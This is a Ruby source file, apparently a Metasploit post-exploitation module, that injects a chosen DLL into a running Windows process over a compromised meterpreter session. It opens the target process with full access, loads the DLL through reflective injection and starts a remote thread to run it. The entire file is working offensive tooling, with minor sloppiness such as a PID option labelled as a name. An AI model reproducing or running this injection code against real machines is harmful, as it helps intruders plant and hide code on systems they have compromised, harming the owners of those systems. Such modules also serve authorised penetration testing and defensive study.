reflective_dll_injection.rb

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Windows::Error
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Injects DLL into running process",
      'Description'          => %q(
        Performs DLL injection over current running process on windows.
                            ),
      'Platform'             => ['win'],
      'SessionTypes'         => ['meterpreter'],
      'Author'               => ['Chaitanya Haritash']
    ))
    
    register_options(
      [
        #OptString.new('SESSION', [true, 'Session ID' ]),
        OptString.new('DLL',[true, 'DLL path to be injected']),
        OptInt.new('PID',[true, 'Name of process DLL to be injected on'])
      ], self.class)
  end
  
  def run
    session = client
    se = session.sys.config.sysinfo
    dll_path = datastore['DLL']
    pid = datastore['PID']
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
  
    if dll_path.blank?
      print_error("DLL path not Defined")
      return nil
    elsif pid.blank?
      print_error("Process Not Define")
    else 
      print_status("Running Module on session #{se['Computer']}")
      dll_mem , offset = inject_dll_into_process(process, dll_path)
      process.thread.create(dll_mem + offset, 0)
      print_success("DLL injected Successfully")
    end
  end
end